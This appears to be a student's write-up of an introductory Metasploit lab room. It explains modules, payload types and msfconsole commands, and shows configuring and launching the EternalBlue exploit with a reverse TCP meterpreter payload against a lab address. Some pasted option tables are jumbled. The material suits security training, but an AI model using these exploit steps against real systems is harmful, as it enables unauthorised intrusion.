

INTRODUCTION TO METASPLOIT.

Introduction

Metasploit is the world's most used penetration testing tool. It is an open-source penetration testing framework that helps security professionals find and exploit vulnerabilities in computer systems. Supports all phases of penetration testing engagement, from information gathering to post-exploitation.

Has two main versions; ***Metasploit pro***, a commercial version that facilitate the automation and management of tasks, has a GUI. ***Metasploit Framework***, open-source version that work from the command line.

Metasploit framework has main components summarized as following;

- **msfconsole**: The main command-line interface.
- **Modules**: supporting modules such as exploits, scanners, payloads, etc.
- **Tools**: Stand-alone tools that will help vulnerability research, vulnerability assessment, or penetration testing. Some of these tools are msfvenom, pattern_create and pattern_offset. We will cover msfvenom within this module, but pattern_create and pattern_offset are tools useful in exploit development which is beyond the scope of this module.

Objectives

- To understand the main components of Metasploit
- To understand Msfconsole
- To work with modules

Methodology

Task 1

This task covered main components of Metasploit.

Metasploit framework consists of different module, **Modules** are small components within the Metasploit framework built to perform a specific task, such as exploiting a vulnerability, scanning a target, or performing a brute-force attack.

The following shot shows some of the main recurring concepts of Metasploit.

- **Exploit:** A piece of code that uses a vulnerability present on the target system.
- **Vulnerability:** A design, coding, or logic flaw affecting the target system. The exploitation of a vulnerability can result in disclosing confidential information or allowing the attacker to execute code on the target system.
- **Payload:** An exploit will take advantage of a vulnerability. However, if we want the exploit to have the result we want (gaining access to the target system, read confidential information, etc.), we need to use a payload. Payloads are the code that will run on the target system.

Some of the Metasploit categories (modules and categories) include the following:

- Auxiliary – contains any supporting modules such as scanners, crawlers, and fuzzers.
- Encoders – allows one to encode the exploit and payload in the hope that a signature-based antivirus solutions may miss them
- Evasion – modules considered a direct attempt to evade antivirus software.
- Exploits – neatly organized by target system.
- NOPs – (No Operation) do nothing. Used as a buffer to achieve consistent payload sizes.
- Payloads – codes that run on the target system.

Under payloads we have different directories such show in the figure below.

- **Adapters:** An adapter wraps single payloads to convert them into different formats. For example, a normal single payload can be wrapped inside a Powershell adapter, which will make a single powershell command that will execute the payload.
- **Singles:** Self-contained payloads (add user, launch notepad.exe, etc.) that do not need to download an additional component to run.
- **Stagers:** Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads. “Staged payloads” will first upload a stager on the target system then download the rest of the payload (stage). This provides some advantages as the initial size of the payload will be relatively small compared to the full payload sent at once.
- **Stages:** Downloaded by the stager. This will allow you to use larger sized payloads.

- Post – module useful on the final stage of the penetration testing process, and post-exploitation.

Answer the questions below

What is the name of the code taking advantage of a flaw on the target system?

Exploit

✓ Correct Answer

What is the name of the code that runs on the target system to achieve the attacker's goal?

Payload

✓ Correct Answer

What are self-contained payloads called?

Singles

✓ Correct Answer

Is "windows/x64/pingback_reverse_tcp" among singles or staged payload?

Singles

✓ Correct Answer

Task 2

Introduced us to LinuxCommands in Metasploit.

Msfconsole command, used to launch Metasploit framework interface.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session

File System

d8P
d888888P
d8bd8b.d8p d8888b ?88' d888b8b
88P`?P'?P d8b_,dP 88P d8P' ?88
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"
.a#$$$$$$"
.s$$$$$$$"
.a$$$$$$$P
.a$####$P
,a$####$P
.a$$$$$$$$SSSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS#==--"' '^/$$$$$$'
,8$$$$$$'
ll66$$$$'
.;; lll6666'
... ;; lllll6'
.....;;llll;;.....
.....;;;;.....

=[ metasploit v6.3.55-dev ]
+ -- ==[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

Ls command lists the content of the folder from which Metasploit was launched.

```
msf6 > ls
[*] exec: ls

Desktop Documents Downloads index.html Music Pictures Public Templates Videos
```

msfconsole do not support output redirection.

```
msf6 > help > help.tx
[-] No such command
msf6 > █
```

The help command is used on its own or a specific command

```
msf6 > help set
Usage: set [options] [name] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

OPTIONS:

  -c, --clear      Clear the values, explicitly setting to nil (default)
  -g, --global     Operate on global datastore variables
  -h, --help       Help banner.
```

History command used to see commands typed earlier

```
msf6 > history
1  exit
2  ls
3  ping -c 1 8.8.8.8
4  help set
```

Used the MS17-010 “Eternalblue” exploit.

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

Desktop Documents Downloads index.html Music Pictures Public Templates Videos
msf6 exploit(windows/smb/ms17_010_eternalblue) > █
```

Show options command tells us the we now have a context set in which we will work.


```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    445              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              yes       The target port (TCP)
  SMBDomain  no               no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass   no               no        (Optional) The password for the specified username
  SMBUser   no               no        (Optional) The username to authenticate as
  VERIFY_ARCH true            yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  VERIFY_TARGET true           yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.0.2.15       yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Show command, used in any context followed by a module type (auxiliary, payload, exploit, etc.) to list available modules. Below is a list of payloads that can be used with the ms17-010 Eternalblue exploit.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/generic/custom                  normal No     Custom Payload
1  payload/generic/shell_bind_aws_ssm      normal No     Command Shell, Bind SSM (via AWS API)
2  payload/generic/shell_bind_tcp          normal No     Generic Command Shell, Bind TCP Inline
3  payload/generic/shell_reverse_tcp       normal No     Generic Command Shell, Reverse TCP Inline
4  payload/generic/ssh/interact             normal No     Interact with Established SSH Connection
5  payload/windows/x64/custom/bind_ipv6_tcp normal No     Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager
6  payload/windows/x64/custom/bind_ipv6_tcp_uuid normal No   Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support
7  payload/windows/x64/custom/bind_named_pipe normal No   Windows shellcode stage, Windows x64 Bind Named Pipe Stager
8  payload/windows/x64/custom/bind_tcp      normal No     Windows shellcode stage, Windows x64 Bind TCP Stager
9  payload/windows/x64/custom/bind_tcp_rc4  normal No     Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)
10 payload/windows/x64/custom/bind_tcp_uuid normal No    Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)
11 payload/windows/x64/custom/reverse_http normal No    Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
12 payload/windows/x64/custom/reverse_https normal No    Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)
13 payload/windows/x64/custom/reverse_named_pipe normal No    Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager
14 payload/windows/x64/custom/reverse_tcp  normal No     Windows shellcode stage, Windows x64 Reverse TCP Stager
15 payload/windows/x64/custom/reverse_tcp_rc4 normal No    Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
16 payload/windows/x64/custom/reverse_tcp_uuid normal No    Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)
17 payload/windows/x64/custom/reverse_winhttp normal No    Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)
18 payload/windows/x64/custom/reverse_winhttps normal No    Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)
19 payload/windows/x64/exec                normal No     Windows x64 Execute Command
20 payload/windows/x64/loadlibrary          normal No     Windows x64 LoadLibrary Path
21 payload/windows/x64/messagebox           normal No     Windows MessageBox x64
22 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No    Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
23 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No    Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
24 payload/windows/x64/meterpreter/bind_named_pipe normal No    Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
25 payload/windows/x64/meterpreter/bind_tcp normal No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
26 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No    Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
27 payload/windows/x64/meterpreter/bind_tcp_uuid normal No    Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
28 payload/windows/x64/meterpreter/reverse_http normal No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
29 payload/windows/x64/meterpreter/reverse_https normal No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
30 payload/windows/x64/meterpreter/reverse_named_pipe normal No    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
```

Leaved the context using the **back** command.

Info command used to provide further information on any module obtained.

Search command used to search the Metasploit Framework database for modules relevant to the given search parameter.

The table below provided the rating of exploits based on their reliability.

Ranking	Description
ExcellentRanking	The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances (WMF Escape()).
GreatRanking	The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check.
GoodRanking	The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc).
NormalRanking	The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect.
AverageRanking	The exploit is generally unreliable or difficult to exploit.
LowRanking	The exploit is nearly impossible to exploit (or under 50% success rate) for common platforms.
ManualRanking	The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/unix/webapp/php_eval).

Answers to module final questions.

Answer the questions below

How would you search for a module related to Apache?

✓ Correct Answer

Who provided the auxiliary/scanner/ssh/ssh_login module?

✓ Correct Answer

🔍 Hint

Task 3

The task covered on how to work with modules.

Metasploit consists of five different msfconsole prompts:

- The regular command prompt
- **The regular command prompt:** You can not use Metasploit commands here.

```

Regular command prompt

root@ip-10-10-XX-XX:~#

```

- The msfconsole prompt

- **The msfconsole prompt:** msf6 (or msf5 depending on your installed version) is the msfconsole prompt. As you can see, no context is set here, so context-specific commands to set parameters and run modules can not be used here.

```

Metasploitcommand prompt

msf6 >

```

• A context prompt

- **A context prompt:** Once you have decided to use a module and used the set command to chose it, the msfconsole will show the context. You can use context-specific commands (e.g. set RHOSTS 10.10.x.x) here.

```

A context command prompt

msf6 exploit(windows/smb/ms17_010_eternalblue) >

```

• The Meterpreter prompt

- **The Meterpreter prompt:** Meterpreter is an important payload we will see in detail later in this module. This means a Meterpreter agent was loaded to the target system and connected back to you. You can use Meterpreter specific commands here.

```

AMeterpretercommand prompt

meterpreter >

```

• A shell on the target system

- **A shell on the target system:** Once the exploit is completed, you may have access to a command shell on the target system. This is a regular command line, and all commands typed here run on the target system.

```

AMeterpretercommand prompt

C:\Windows\system32>

```

parameters introduced to be used often ;

- **RHOSTS:** "Remote host", the IP address of the target system. A single IP address or a network range can be set. This will support the CIDR (Classless Inter-Domain Routing) notation (/24, /16, etc.) or a network range (10.10.10.x - 10.10.10.y). You can also use a file where targets are listed, one target per line using file:/path/of/the/target_file.txt, as you can see below.

```

root@kali:~# msf6 > set RHOSTS 10.10.10.1
RHOSTS => 10.10.10.1
msf6 > set RHOSTS file:/root/.msf6/hosts.txt
RHOSTS => file:/root/.msf6/hosts.txt
msf6 > show options
Module options (auxiliary/scanner/smb_ms17_010):
Name      Current Setting  Required  Description
-----
CHECK_ARCH true            no        Check for architecture
RHOSTS    10.10.10.1       no        The target host(s)
RHOSTS    10.10.10.1       no        The target host(s)
CHECK_PATH false           no        Check for named pipes
CHECK_PATH false           no        Check for named pipes
SMB_PATHS jpc/meterpreter-framework-1001/data/wordlists/named_pipes.txt yes       List of named pipes to check
RHOSTS    file:/root/.msf6/hosts.txt yes       The target host(s)
RANGE_CIDR identifier, or hosts file with syntax 'file:/path' yes       The IP range or CIDR (IP)
SMBHOSTS  10.10.10.1       no        The Windows domain
SMBHOSTS  10.10.10.1       no        The password for the specified username

```

- **RPORT:** "Remote port", the port on the target system the vulnerable application is running on.
- **PAYLOAD:** The payload you will use with the exploit.
- **LHOST:** "Localhost", the attacking machine (your AttackBox or Kali Linux) IP address.
- **LPORT:** "Local port", the port you will use for the reverse shell to connect back to. This is a port on your attacking machine, and you can set it to any port not used by any other application.
- **SESSION:** Each connection established to the target system using Metasploit will have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.

The **set** command can be used to set any parameter. The **unset** command can be used to clear any parameter value.

Setg command allows one to set the value so it can be used by default across different modules. To clear any value set the command one can the **unsetg** command.

Covered the setg command as in the shot below.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > rhosts => 10.10.165.39
[-] Unknown command: rhosts
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):



| Name        | Current Setting                                           | Required | Description                                                                                            |
|-------------|-----------------------------------------------------------|----------|--------------------------------------------------------------------------------------------------------|
| CHECK_ARCH  | true                                                      | no       | Check for architecture on vulnerable hosts                                                             |
| CHECK_DOPU  | true                                                      | no       | Check for DOUBLEPULSAR on vulnerable hosts                                                             |
| CHECK_PIPE  | false                                                     | no       | Check for named pipe on vulnerable hosts                                                               |
| NAMED_PIPES | /usr/share/metasploit-framework/data/wordlists/named_pipe | yes      | List of named pipes to check                                                                           |
| RHOSTS      | 10.10.165.39                                              | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT       | 445                                                       | yes      | The SMB service port (TCP)                                                                             |
| SMBDomain   | .                                                         | no       | The Windows domain to use for authentication                                                           |
| SMBPass     |                                                           | no       | The password for the specified username                                                                |
| SMBUser     |                                                           | no       | The username to authenticate as                                                                        |
| THREADS     | 1                                                         | yes      | The number of concurrent threads (max one per host)                                                    |



View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smb/smb_ms17_010) > |
```

Exploit command is used to launch a module. Using **exploit -z** command, runs the exploit and background the session as soon it opens.

Used exploit -z command on exploit(windows/smb/ms17_010_eternalblue) to view the context prompt from which the exploit was run.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.10.165.39:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.10.165.39:445 - Rex::ConnectionTimeout: The connection with (10.10.165.39:445) timed out.
[*] 10.10.165.39:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.165.39:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) > |
```

Once a vulnerability has been successfully exploited, a session is created, which is the communication channel established between the target system and Metasploit.

Ctrl+Z can be used to background sessions.

Answer the questions below

How would you set the LPORT value to 6666?

✓ Correct Answer

How would you set the global value for RHOSTS to 10.10.19.23 ?

✓ Correct Answer

What command would you use to clear a set payload?

✓ Correct Answer

What command do you use to proceed with the exploitation phase?

✓ Correct Answer

Conclusion

The modules introduced us to Metasploit a world most used penetration tool. It comprises of three main steps; *finding the exploit, customizing the exploit, and exploiting the vulnerable service*. has many modules used for each of the steps.

Task 1, covered the main components of Metasploit, which consists of Modules which are small components within the Metasploit framework built to perform a specific task.

Task 2, covered the Msfconsole, command used to launch Metasploit framework interface. The final task of the module introduced us on working with the modules.